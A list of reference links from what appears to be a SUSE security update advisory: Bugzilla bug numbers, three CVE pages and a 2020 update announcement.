bugzilla.suse.com/1158697
bugzilla.suse.com/1158754
bugzilla.suse.com/1158818
bugzilla.suse.com/1158899
bugzilla.suse.com/1158943
bugzilla.suse.com/1159012
bugzilla.suse.com/1159023
bugzilla.suse.com/1159076
bugzilla.suse.com/1159184
bugzilla.suse.com/1159492
bugzilla.suse.com/1159553
bugzilla.suse.com/1160184
bugzilla.suse.com/1160940
bugzilla.suse.com/1161755
bugzilla.suse.com/1161862
bugzilla.suse.com/1162609
bugzilla.suse.com/1162683
bugzilla.suse.com/1164120
bugzilla.suse.com/1164309
bugzilla.suse.com/1164452
bugzilla.suse.com/1164649
bugzilla.suse.com/1164875
bugzilla.suse.com/1165425
bugzilla.suse.com/1165541
bugzilla.suse.com/1165927
bugzilla.suse.com/1166061
bugzilla.suse.com/1166388
suse.com/security/cve/CVE-2018-1077
suse.com/security/cve/CVE-2019-16769
suse.com/security/cve/CVE-2020-1693
suse.com/support/update/announcement/2020/suse-su-20200671-1
Left out here: the rest of 1 source description. The JSON record has them.